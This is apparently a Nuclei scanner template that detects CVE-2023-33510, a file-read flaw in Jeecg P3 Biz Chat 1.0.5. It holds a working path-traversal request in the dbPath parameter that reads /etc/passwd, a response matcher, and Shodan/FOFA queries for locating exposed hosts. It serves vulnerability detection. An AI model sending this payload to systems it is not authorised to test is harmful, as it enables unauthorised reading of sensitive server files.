id: CVE-2023-33510

info:
  name: Jeecg P3 Biz Chat - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    Jeecg P3 Biz Chat 1.0.5 allows remote attackers to read arbitrary files through specific parameters.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in Jeecg P3 Biz Chat.
  reference:
    - https://twitter.com/momika233/status/1670701256535572481
    - https://carl1l.github.io/2023/05/08/jeecg-p3-biz-chat-1-0-5-jar-has-arbitrary-file-read-vulnerability/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33510
    - https://github.com/izj007/wechat
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-33510
    cwe-id: CWE-668
    epss-score: 0.04042
    epss-percentile: 0.89605
    cpe: cpe:2.3:a:jeecg_p3_biz_chat_project:jeecg_p3_biz_chat:1.0.5:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: jeecg_p3_biz_chat_project
    product: jeecg_p3_biz_chat
    framework: wordpress
    shodan-query: http.favicon.hash:1380908726
    fofa-query: icon_hash=1380908726
  tags: cve2023,cve,jeecg,lfi,jeecg_p3_biz_chat_project,wordpress,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/chat/imController/showOrDownByurl.do?dbPath=../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022016f051fdc269803593b7b91e805824908a3c529c655ee2bfb525480d5d8f5abc02204ca766570fb366210ed2d92ea8efea88cadf29c7b61158d6e05fb667d650a712:922c64590222798bb761d5b6d8e72950